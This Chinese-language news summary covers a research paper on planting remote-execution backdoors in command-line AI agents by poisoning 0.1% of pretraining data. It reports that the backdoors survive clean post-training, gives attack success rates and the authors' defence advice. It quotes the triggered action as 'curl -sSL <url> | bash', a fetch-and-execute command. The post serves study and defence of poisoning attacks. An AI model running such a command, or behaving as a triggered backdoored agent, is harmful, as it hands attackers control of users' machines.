👀20
🔥82
Anthropic Fellows 论文：只污染 0.1% 预训练数据，就能给 CLI Agent 植入远程执行后门，干净的 SFT/DPO/RL 也洗不掉
来自 Anthropic Fellows 项目和 Anthropic 的研究者（含 Nicholas Carlini、Javier Rando）在 arXiv 发表论文《Agentic Backdoors via Pretraining Poisoning》。他们从零预训练 0.6B、1.7B、4B 三个 Qwen3 架构模型，只在预训练语料中混入 0.1% 的投毒文档，再用完全干净的 SFT、DPO 和 GRPO 流程训练成命令行 Agent。结果后门依然存在：遇到触发条件时，Agent 会执行 curl -sSL <url> | bash 这类远程脚本命令；4B 模型在普通文件路径触发下 Pass@32 攻击成功率达 92.7%，而在干净提示上发出恶意命令的比例为 0%。
核心要点速览
- 投毒比例：只占 100B token 预训练语料的 0.1%，攻击者无需接触模型架构或后训练流程（论文）
- 持久性：后门在干净的 SFT、DPO 和 GRPO（RLVR）后训练后依然有效，且不降低模型能力评测分数（论文口径）
- 成功率：4B 模型 Pass@32 攻击成功率 92.7%（普通路径触发）、10.5%（罕见字符串触发）；干净提示上恶意命令发出率 0%（论文口径）
- 规模效应：攻击成功率随模型变大单调上升，4B 模型在投毒率降到 0.0005%（二十万分之一）时仍有正成功率
- 防御建议：清洗数据难以保证，作者建议在动作层防守，比如沙箱、最小权限、高风险命令白名单或人工确认；代码已开源（GitHub）
关联模型 / 智能体 / 厂商:
⚡ Qwen3🌐 Anthropic
